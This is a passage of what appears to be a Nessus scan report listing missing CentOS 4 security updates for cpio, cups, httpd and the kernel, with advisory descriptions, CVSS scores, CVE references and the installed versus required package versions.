CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2010-0624
XREF RHSA:2010:0143

Plugin Information

Published: 2010/03/19, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : cpio-2.5-13.RHEL4
Should be : cpio-2.5-16.el4_8.1

31293 - CentOS 4 : cups (CESA-2008:0161)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated cups packages that fix two security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The Common UNIX Printing System (CUPS) provides a portable printing layer for UNIX(R) operating systems.

A flaw was found in the way CUPS handled the addition and removal of remote shared printers via IPP. A remote attacker could send malicious UDP IPP packets causing the CUPS daemon to attempt to dereference already freed memory and crash. (CVE-2008-0597)

A memory management flaw was found in the way CUPS handled the addition and removal of remote shared printers via IPP. When shared printer was removed, allocated memory was not properly freed, leading to a memory leak possibly causing CUPS daemon crash after exhausting available memory. (CVE-2008-0596)

These issues were found during the investigation of CVE-2008-0882, which did not affect Red Hat Enterprise Linux 4.

Note that the default configuration of CUPS on Red Hat Enterprise Linux 4 allow requests of this type only from the local subnet.

All CUPS users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?819ca82b>
<http://www.nessus.org/u?8b144267>
<http://www.nessus.org/u?2ebd8987>

Solution

Update the affected cups packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	27988
CVE	CVE-2008-0596
CVE	CVE-2008-0597
XREF	RHSA:2008:0161
XREF	CWE:399

Plugin Information

Published: 2008/02/27, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cups-1.1.22-0.rc1.9.20
Should be : cups-1.1.22-0.rc1.9.20.2.e14_6.5
```

```
Remote package installed : cups-libs-1.1.22-0.rc1.9.20
Should be : cups-libs-1.1.22-0.rc1.9.20.2.e14_6.5
```

49814 - CentOS 4 : cups (CESA-2010:0755)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated cups packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The Common UNIX Printing System (CUPS) provides a portable printing layer for UNIX operating systems. The CUPS 'pdftops' filter converts Portable Document Format (PDF) files to PostScript.

Multiple flaws were discovered in the CUPS 'pdftops' filter. An attacker could create a malicious PDF file that, when printed, would cause 'pdftops' to crash or, potentially, execute arbitrary code as the 'lp' user. (CVE-2010-3702, CVE-2009-3609)

Users of cups are advised to upgrade to these updated packages, which contain backported patches to correct these issues. After installing this update, the cupsd daemon will be restarted automatically.

See Also

<http://www.nessus.org/u?7297673f>
<http://www.nessus.org/u?eaf7cd4a>

Solution

Update the affected cups packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	36703
CVE	CVE-2009-3609
CVE	CVE-2010-3702
CVE	CVE-2010-3703
CVE	CVE-2010-3704
XREF	RHSA:2010:0755
XREF	CWE:189

Plugin Information

Published: 2010/10/11, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cups-1.1.22-0.rc1.9.20
Should be : cups-1.1.22-0.rc1.9.32.el4.10
```

```
Remote package installed : cups-langs-1.1.22-0.rc1.9.20
Should be : cups-langs-1.1.22-0.rc1.9.32.el4.10
```

25578 - CentOS 4 : httpd (CESA-2007:0534)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated Apache httpd packages that correct two security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The Apache HTTP Server is a popular Web server.

A flaw was found in the Apache HTTP Server mod_status module. On sites where the server-status page is publicly accessible and ExtendedStatus is enabled this could lead to a cross-site scripting attack. On Red Hat Enterprise Linux the server-status page is not enabled by default and it is best practice to not make this publicly available.

(CVE-2006-5752)

A bug was found in the Apache HTTP Server mod_cache module. On sites where caching is enabled, a remote attacker could send a carefully crafted request that would cause the Apache child process handling that request to crash. This could lead to a denial of service if using a threaded Multi-Processing Module. (CVE-2007-1863)

Users of httpd should upgrade to these updated packages, which contain backported patches to correct these issues. Users should restart Apache after installing this update.

See Also

<http://www.nessus.org/u?37677c6f>
<http://www.nessus.org/u?690cd9f3>
<http://www.nessus.org/u?260aaa1a>

Solution

Update the affected httpd packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	24645
BID	24649
CVE	CVE-2006-5752
CVE	CVE-2007-1863
XREF	RHSA:2007:0534

Plugin Information

Published: 2007/06/27, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : httpd-2.0.52-32.ent.centos4
Should be : httpd-2.0.52-32.2.ent.centos4

Remote package installed : httpd-manual-2.0.52-32.ent.centos4
Should be : httpd-manual-2.0.52-32.2.ent.centos4

Remote package installed : httpd-suexec-2.0.52-32.ent.centos4
Should be : httpd-suexec-2.0.52-32.2.ent.centos4

Remote package installed : mod_ssl-2.0.52-32.ent.centos4
Should be : mod_ssl-2.0.52-32.2.ent.centos4
```

29967 - CentOS 4 : httpd (CESA-2008:0006)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated Apache httpd packages that fix several security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The Apache HTTP Server is a popular Web server.

A flaw was found in the mod_imap module. On sites where mod_imap was enabled and an imagemap file was publicly available, a cross-site scripting attack was possible. (CVE-2007-5000)

A flaw was found in the mod_autoindex module. On sites where directory listings are used, and the 'AddDefaultCharset' directive has been removed from the configuration, a cross-site scripting attack was possible against Web browsers which do not correctly derive the response character set following the rules in RFC 2616.
(CVE-2007-4465)

A flaw was found in the mod_status module. On sites where mod_status was enabled and the status pages were publicly available, a cross-site scripting attack was possible. (CVE-2007-6388)

A flaw was found in the mod_proxy_ftp module. On sites where mod_proxy_ftp was enabled and a forward proxy was configured, a cross-site scripting attack was possible against Web browsers which do not correctly derive the response character set following the rules in RFC 2616. (CVE-2008-0005)

Users of Apache httpd should upgrade to these updated packages, which contain backported patches to resolve these issues. Users should restart httpd after installing this update.

See Also

<http://www.nessus.org/u?cb20db8c>
<http://www.nessus.org/u?297e8e41>
<http://www.nessus.org/u?b5e7d236>

Solution

Update the affected httpd packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	25489
BID	25653
BID	26838
BID	27234
BID	27237
CVE	CVE-2007-4465
CVE	CVE-2007-5000
CVE	CVE-2007-6388
CVE	CVE-2008-0005
XREF	RHSA:2008:0006
XREF	CWE:79

Plugin Information

Published: 2008/01/15, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : httpd-2.0.52-32.ent.centos4
Should be : httpd-2.0.52-38.ent.centos4.2

Remote package installed : httpd-manual-2.0.52-32.ent.centos4
Should be : httpd-manual-2.0.52-38.ent.centos4.2

Remote package installed : httpd-suexec-2.0.52-32.ent.centos4
Should be : httpd-suexec-2.0.52-38.ent.centos4.2

Remote package installed : mod_ssl-2.0.52-32.ent.centos4
Should be : mod_ssl-2.0.52-38.ent.centos4.2
```

45368 - CentOS 4 : httpd (CESA-2010:0175)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated httpd packages that fix one security issue, a bug, and add an enhancement are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having low security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The Apache HTTP Server is a popular web server.

A use-after-free flaw was discovered in the way the Apache HTTP Server handled request headers in subrequests. In configurations where subrequests are used, a multithreaded MPM (Multi-Processing Module) could possibly leak information from other requests in request replies. (CVE-2010-0434)

This update also fixes the following bug :

* a bug was found in the mod_dav module. If a PUT request for an existing file failed, that file would be unexpectedly deleted and a 'Could not get next bucket brigade' error logged. With this update, failed PUT requests no longer cause mod_dav to delete files, which resolves this issue. (BZ#572932)

As well, this update adds the following enhancement :

* with the updated openssl packages from RHSA-2010:0163 installed, mod_ssl will refuse to renegotiate a TLS/SSL connection with an unpatched client that does not support RFC 5746. This update adds the 'SSLInsecureRenegotiation' configuration directive. If this directive is enabled, mod_ssl will renegotiate insecurely with unpatched clients. (BZ#575805)

Refer to the following Red Hat Knowledgebase article for more details about the changed mod_ssl behavior:
<http://kbbase.redhat.com/faq/docs/DOC-20491>

All httpd users should upgrade to these updated packages, which contain backported patches to correct these issues and add this enhancement. After installing the updated packages, the httpd daemon must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?cbb2bc56>
<http://www.nessus.org/u?984b9a0d>

Solution

Update the affected httpd packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	38580
CVE	CVE-2010-0434
XREF	RHSA-2010:0175
XREF	CWE:200

Plugin Information

Published: 2010/03/29, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : httpd-2.0.52-32.ent.centos4
Should be : httpd-2.0.52-41.ent.7.centos4

Remote package installed : httpd-manual-2.0.52-32.ent.centos4
Should be : httpd-manual-2.0.52-41.ent.7.centos4

Remote package installed : httpd-suexec-2.0.52-32.ent.centos4
Should be : httpd-suexec-2.0.52-41.ent.7.centos4

Remote package installed : mod_ssl-2.0.52-32.ent.centos4
Should be : mod_ssl-2.0.52-41.ent.7.centos4
```

25575 - CentOS 4 : kernel (CESA-2007:0488)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix several security issues and bugs in the Red Hat Enterprise Linux 4 kernel are now available.

This security advisory has been rated as having important security impact by the Red Hat Security Response Team.

The Linux kernel handles the basic functions of the operating system.

These new kernel packages contain fixes for the security issues described below :

* a flaw in the connection tracking support for SCTP that allowed a remote user to cause a denial of service by dereferencing a NULL pointer. (CVE-2007-2876,

Important)

* a flaw in the mount handling routine for 64-bit systems that allowed a local user to cause denial of service (crash). (CVE-2006-7203, Important)

* a flaw in the IPv4 forwarding base that allowed a local user to cause an out-of-bounds access. (CVE-2007-2172, Important)

* a flaw in the PPP over Ethernet implementation that allowed a local user to cause a denial of service (memory consumption) by creating a socket using connect and then releasing it before the PPPIOCGCHAN ioctl has been called. (CVE-2007-2525, Important)

* a flaw in the fput ioctl handling of 32-bit applications running on 64-bit platforms that allowed a local user to cause a denial of service (panic). (CVE-2007-0773, Important)

* a flaw in the NFS locking daemon that allowed a local user to cause denial of service (deadlock). (CVE-2006-5158, Moderate)

* a flaw in the sysfs_readdir function that allowed a local user to cause a denial of service by dereferencing a NULL pointer. (CVE-2007-3104, Moderate)

* a flaw in the core-dump handling that allowed a local user to create core dumps from unreadable binaries via PT_INTERP. (CVE-2007-0958, Low)

* a flaw in the Bluetooth subsystem that allowed a local user to trigger an information leak. (CVE-2007-1353, Low)

In addition, the following bugs were addressed :

* the NFS could recurse on the same spinlock. Also, NFS, under certain conditions, did not completely clean up Posix locks on a file close, leading to mount failures.

* the 32bit compatibility didn't return to userspace correct values for the rt_sigtimedwait system call.

* the count for unused inodes could be incorrect at times, resulting in dirty data not being written to disk in a timely manner.

* the cciss driver had an incorrect disk size calculation (off-by-one error) which prevented disk dumps.

Red Hat would like to thank Ilja van Sprundel and the OpenVZ Linux kernel team for reporting issues fixed in this erratum.

All Red Hat Enterprise Linux 4 users are advised to upgrade their kernels to the packages associated with their machine architectures and configurations as listed in this erratum.

See Also

<http://www.nessus.org/u?4473df7d>
<http://www.nessus.org/u?060b053f>
<http://www.nessus.org/u?5408e7ae>

Solution

Update the affected kernel packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.1 (CVSS#AV:A/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	23870
BID	24376
BID	24631
CVE	CVE-2006-5158
CVE	CVE-2006-7203
CVE	CVE-2007-0773
CVE	CVE-2007-0958
CVE	CVE-2007-1353
CVE	CVE-2007-2172
CVE	CVE-2007-2525
CVE	CVE-2007-2876
CVE	CVE-2007-3104
XREF	RHSA:2007:0488
XREF	CWE:20
XREF	CWE:399

Plugin Information

Published: 2007/06/27, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-55.0.2.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-55.0.2.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-55.0.2.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-55.0.2.EL

26003 - CentOS 4 : kernel (CESA-2007:0774)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix several security issues and bugs in the Red Hat Enterprise Linux 4 kernel are now available.

This security advisory has been rated as having moderate security impact by the Red Hat Security Response Team.

The Linux kernel handles the basic functions of the operating system.

These new kernel packages contain fixes for the security issues described below :

* a flaw in the ISDN CAPI subsystem that allowed a remote user to cause a denial of service or potential remote access. Exploitation would require the attacker to be able to send arbitrary frames over the ISDN network to the victim's machine. (CVE-2007-1217, Moderate)

* a flaw in the perfmon subsystem on ia64 platforms that allowed a local user to cause a denial of service. (CVE-2006-0558, Moderate)

In addition, the following bugs were addressed :

* a panic after reloading of the LSI Fusion driver.

* a vm performance problem was corrected by balancing inactive page lists.

* added a nodirplus option to address NFSv3 performance issues with large directories.

* changed the personality handling to disallow personality changes of setuid and setgid binaries. This ensures they keep any randomization and Exec-shield protection.

All Red Hat Enterprise Linux 4 users are advised to upgrade their kernels to the packages associated with their machine architectures and configurations as listed in this erratum.

See Also

<http://www.nessus.org/u?6bbbc834>
<http://www.nessus.org/u?f8448177>
<http://www.nessus.org/u?2df8775b>

Solution

Update the affected kernel packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:I/C:A:C)

References

CVE	CVE-2006-0558
CVE	CVE-2007-1217
XREF	RHSA:2007:0774
XREF	CWE:119

Plugin Information

Published: 2007/09/07, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-55.0.6.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-55.0.6.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-55.0.6.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-55.0.6.EL

37953 - CentOS 4 : kernel (CESA-2007:0939)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix various security issues in the Red Hat Enterprise Linux 4 kernel are now available.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The Linux kernel is the core of the operating system.

These updated kernel packages contain fixes for the following security issues :

* A flaw was found in the handling of process death signals. This allowed a local user to send arbitrary signals to the suid-process executed by that user. A successful exploitation of this flaw depends on the structure of the suid-program and its signal handling.
(CVE-2007-3848, Important)

* A flaw was found in the CIFS file system. This could cause the umask values of a process to not be honored on CIFS file systems where UNIX extensions are supported. (CVE-2007-3740, Important)

* A flaw was found in the VFAT compat ioctl handling on 64-bit systems. This allowed a local user to corrupt a kernel_dirent struct and cause a denial of service.
(CVE-2007-2878, Important)

* A flaw was found in the Advanced Linux Sound Architecture (ALSA). A local user who had the ability to read the /proc/driver/snd-page-alloc file could see portions of kernel memory. (CVE-2007-4571, Moderate)

* A flaw was found in the aacraid SCSI driver. This allowed a local user to make ioctl calls to the driver that should be restricted to privileged users. (CVE-2007-4308, Moderate)

* A flaw was found in the stack expansion when using the hugetlb kernel on PowerPC systems. This allowed a local user to cause a denial of service. (CVE-2007-3739, Moderate)

* A flaw was found in the handling of zombie processes. A local user could create processes that would not be properly reaped which could lead to a denial of service. (CVE-2006-6921, Moderate)

* A flaw was found in the CIFS file system handling. The mount option 'sec=' did not enable integrity checking or produce an error message if used. (CVE-2007-3843, Low)

* A flaw was found in the random number generator implementation that allowed a local user to cause a denial of service or possibly gain privileges. This flaw could be exploited if the root user raised the default wakeup threshold over the size of the output pool.
(CVE-2007-3105, Low)

Additionally, the following bugs were fixed :

* A flaw was found in the kernel netpoll code, creating a potential deadlock condition. If the xmit_lock for a given network interface is held, and a subsequent netpoll event is generated from within the lock owning context (a console message for example), deadlock on that cpu will result, because the netpoll code will attempt to re-acquire the xmit_lock. The fix is to, in the netpoll code, only attempt to take the lock, and fail if it is already acquired (rather than block on it), and queue the message to be sent for later delivery. Any user of netpoll code in the kernel (netdump or netconsole services), is exposed to this problem, and should resolve the issue by upgrading to this kernel release immediately.

* A flaw was found where, under 64-bit mode (x86_64), AMD processors were not able to address greater than a 40-bit physical address space; and Intel processors were only able to address up to a 36-bit physical address space. The fix is to increase the physical addressing for an AMD processor to 48 bits,

and an Intel processor to 38 bits. Please see the Red Hat Knowledgebase for more detailed information.

* A flaw was found in the xenU kernel that may prevent a paravirtualized guest with more than one CPU from starting when running under an Enterprise Linux 5.1 hypervisor. The fix is to allow your Enterprise Linux 4 Xen SMP guests to boot under a 5.1 hypervisor.
Please see the Red Hat Knowledgebase for more detailed information.

Red Hat Enterprise Linux 4 users are advised to upgrade to these updated packages, which contain backported patches to correct these issues.

See Also

<http://www.nessus.org/u?1bcf8911>
<http://www.nessus.org/u?cf164aa6>
<http://www.nessus.org/u?17f70c8b>

Solution

Update the affected kernel packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.9 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

3.8 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	25216
BID	25244
BID	25348
BID	25387
BID	25672
BID	25807
CVE	CVE-2006-6921
CVE	CVE-2007-2878
CVE	CVE-2007-3105
CVE	CVE-2007-3739
CVE	CVE-2007-3740
CVE	CVE-2007-3843
CVE	CVE-2007-3848
CVE	CVE-2007-4308
CVE	CVE-2007-4571
XREF	RHSA:2007:0939
XREF	CWE:119
XREF	CWE:264
XREF	CWE:399

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-55.0.12.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-55.0.12.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-55.0.12.EL
```

```
Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-55.0.12.EL
```

31586 - CentOS 4 : kernel (CESA-2008:0167)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix various security issues and several bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

A buffer overflow flaw was found in the CIFS virtual file system. A remote authenticated user could issue a request that could lead to a denial of service. (CVE-2007-5904, Moderate)

As well, these updated packages fix the following bugs :

* a bug was found in the Linux kernel audit subsystem. When the audit daemon was setup to log the execve system call with a large number of arguments, the kernel could run out of memory while attempting to create audit log messages. This could cause a kernel panic. In these updated packages, large audit messages are split into acceptable sizes, which resolves this issue.

* on certain Intel chipsets, it was not possible to load the aciphp module using the 'modprobe aciphp' command. Because the aciphp module did not recurse across PCI bridges, hardware detection for PCI hot plug slots failed. In these updated packages, hardware detection works correctly.

* on IBM System z architectures that run the IBM z/VM hypervisor, the IBM eServer zSeries HiperSockets network interface (layer 3) allowed ARP packets to be sent and received, even when the 'NOARP' flag was set. These ARP packets caused problems for virtual machines.

* it was possible for the iounmap function to sleep while holding a lock. This may have caused a deadlock for drivers and other code that uses the iounmap function. In these updated packages, the lock is dropped before the sleep code is called, which resolves this issue.

Red Hat Enterprise Linux 4 users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?42563491>
<http://www.nessus.org/u?db68b415>

Solution

Update the affected kernel packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:A/AC:H/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	26438
CVE	CVE-2007-5904
XREF	RHSA:2008:0167
XREF	CWE:119

Plugin Information

Published: 2008/03/17, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-67.0.7.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-67.0.7.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-67.0.7.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-67.0.7.EL
```

37341 - CentOS 4 : kernel (CESA-2008:0972)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that resolve several security issues and fix various bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

* a flaw was found in the Linux kernel's Direct-IO implementation.

This could have allowed a local unprivileged user to cause a denial of service. (CVE-2007-6716, Important)

* when running ptrace in 31-bit mode on an IBM S/390 or IBM System z kernel, a local unprivileged user could cause a denial of service by reading from or writing into a padding area in the user_regs_struct32 structure. (CVE-2008-1514, Important)

* the do_truncate() and generic_file_splice_write() functions did not clear the setuid and setgid bits. This could have allowed a local unprivileged user to obtain access to privileged information.

(CVE-2008-4210, Important)

* Tobias Klein reported a missing check in the Linux kernel's Open Sound System (OSS) implementation. This deficiency could have led to an information leak. (CVE-2008-3272, Moderate)

* a potential denial of service attack was discovered in the Linux kernel's PWC USB video driver. A local unprivileged user could have used this flaw to bring the kernel USB subsystem into the busy-waiting state. (CVE-2007-5093, Low)

* the ext2 and ext3 file systems code failed to properly handle corrupted data structures, leading to a possible local denial of service issue when read or write operations were performed.

(CVE-2008-3528, Low)

In addition, these updated packages fix the following bugs :

* when using the CIFS 'forcedirectio' option, appending to an open file on a CIFS share resulted in that file being overwritten with the data to be appended.

* a kernel panic occurred when a device with PCI ID 8086:10c8 was present on a system with a loaded ixgbe driver.

* due to an aacraid driver regression, the kernel failed to boot when trying to load the aacraid driver and printed the following error message: 'aac_srb: aac_fib_send failed with status: 8195'.

* due to an mpt driver regression, when RAID 1 was configured on Primergy systems with an LSI SCSI IME 53C1020/1030 controller, the kernel panicked during boot.

* the mpt driver produced a large number of extraneous debugging messages when performing a 'Host reset' operation.

* due to a regression in the sym driver, the kernel panicked when a SCSI hot swap was performed using MCP18 hardware.

* all cores on a multi-core system now scale their frequencies in accordance with the policy set by the system's CPU frequency governor.

* the netdump subsystem suffered from several stability issues. These are addressed in this updated kernel.

* under certain conditions, the ext3 file system reported a negative count of used blocks.

* reading /proc/self/mem incorrectly returned 'Invalid argument' instead of 'input/output error' due to a regression.

* under certain conditions, the kernel panicked when a USB device was removed while the system was busy accessing the device.

* a race condition in the kernel could have led to a kernel crash during the creation of a new process.

All Red Hat Enterprise Linux 4 Users should upgrade to these updated packages, which contain backported patches to correct these issues.

See Also

<http://www.nessus.org/u?03430f7b>
<http://www.nessus.org/u?2b753b77>
<http://www.nessus.org/u?d7396bf3>

Solution

Update the affected kernel packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.6 (CVSS2#AV:L/AC:L/Au:N/C:C/I:N/A:C)

CVSS v2.0 Temporal Score

5.7 (CVSS2#E:H/RL:OF/RC:C)

References

BID	30559
BID	31177
BID	31368
BID	31515
CVE	CVE-2007-5093
CVE	CVE-2007-6716
CVE	CVE-2008-1514
CVE	CVE-2008-3272
CVE	CVE-2008-3528
CVE	CVE-2008-4210
XREF	RHSA:2008:0972
XREF	CWE:189
XREF	CWE:264
XREF	CWE:399

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
 Should be : kernel-2.6.9-78.0.8.EL

Remote package installed : kernel-devel-2.6.9-55.EL
 Should be : kernel-devel-2.6.9-78.0.8.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
 Should be : kernel-hugemem-devel-2.6.9-78.0.8.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
 Should be : kernel-smp-devel-2.6.9-78.0.8.EL

38902 - CentOS 4 : kernel (CESA-2009:0459)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix several security issues and various bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security fixes :

* a logic error was found in the do_setlk() function of the Linux kernel Network File System (NFS) implementation. If a signal interrupted a lock request, the local POSIX lock was incorrectly created. This could cause a denial of service on the NFS server if a file descriptor was closed before its corresponding lock request returned. (CVE-2008-4307, Important)

* a deficiency was found in the Linux kernel system call auditing implementation on 64-bit systems. This could allow a local, unprivileged user to circumvent a system call audit configuration, if that configuration filtered based on the 'syscall' number or arguments. (CVE-2009-0834, Important)

* Chris Evans reported a deficiency in the Linux kernel signals implementation. The clone() system call permits the caller to indicate the signal it wants to receive when its child exits. When clone() is called with the CLONE_PARENT flag, it permits the caller to clone a new child that shares the same parent as itself, enabling the indicated signal to be sent to the caller's parent (instead of the caller), even if the caller's parent has different real and effective user IDs. This could lead to a denial of service of the parent.

(CVE-2009-0028, Moderate)

* the sock_getsockopt() function in the Linux kernel did not properly initialize a data structure that can be directly returned to user-space when the getsockopt() function is called with SO_BSDCOMPAT optname set. This flaw could possibly lead to memory disclosure.

(CVE-2009-0676, Moderate)

Bug fixes :

* a kernel crash may have occurred for Red Hat Enterprise Linux 4.7 guests if their guest configuration file specified 'vif = ['type=ioemu']'. This crash only occurred when starting guests via the 'xm create' command. (BZ#477146)

* a bug in IO-APIC NMI watchdog may have prevented Red Hat Enterprise Linux 4.7 from being installed on HP ProLiant DL580 G5 systems. Hangs during installation and 'NMI received for unknown reason [xx]' errors may have occurred. (BZ#479184)

* a kernel deadlock on some systems when using netdump through a network interface that uses the igb driver. (BZ#480579)

* a possible kernel hang in sys_ptrace() on the Itanium(r) architecture, possibly triggered by tracing a threaded process with strace. (BZ#484904)

* the RHSA-2008:0665 errata only fixed the known problem with the LSI Logic LSI53C1030 Ultra320 SCSI controller, for tape devices. Read commands sent to tape devices may have received incorrect data. This issue may have led to data corruption. This update includes a fix for all types of devices. (BZ#487399)

* a missing memory barrier caused a race condition in the AIO subsystem between the read_events() and aio_complete() functions. This may have caused a thread in read_events() to sleep indefinitely, possibly causing an application hang. (BZ#489935)

* due to a lack of synchronization in the NFS client code, modifications to some pages (for files on an NFS mounted file system) made through a region of memory mapped by mmap() may be lost if the NFS client invalidates its page cache for particular files. (BZ#490119)

* a NULL pointer dereference in the megaraid_mbox driver caused a system crash on some systems. (BZ#493420)

* the ext3_symlink() function in the ext3 file system code used an illegal __GFP_FS allocation inside some transactions. This may have resulted in a kernel panic and 'Assertion failure' errors. (BZ#493422)

* do_machine_check() cleared all Machine Check Exception (MCE) status registers, preventing the BIOS from using them to determine the cause of certain panics and errors. (BZ#494915)

* a bug prevented NMI watchdog from initializing on HP ProLiant DL580 G5 systems. (BZ#497330)

This update contains backported patches to fix these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?065c1c0d>
<http://www.nessus.org/u?6b07d768>

Solution

Update the affected kernel packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.0 (CVSS2#AV:L/AC:H/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

3.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	33846
BID	33951
CVE	CVE-2008-4307
CVE	CVE-2009-0028
CVE	CVE-2009-0676
CVE	CVE-2009-0834
XREF	RHSA:2009:0459
XREF	CWE:264
XREF	CWE:362

Plugin Information

Published: 2009/05/26, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-78.0.22.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
```

Should be : kernel-devel-2.6.9-78.0.22.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
 Should be : kernel-hugemem-devel-2.6.9-78.0.22.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
 Should be : kernel-smp-devel-2.6.9-78.0.22.EL

42257 - CentOS 4 : kernel (CESA-2009:1522)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix multiple security issues and several bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

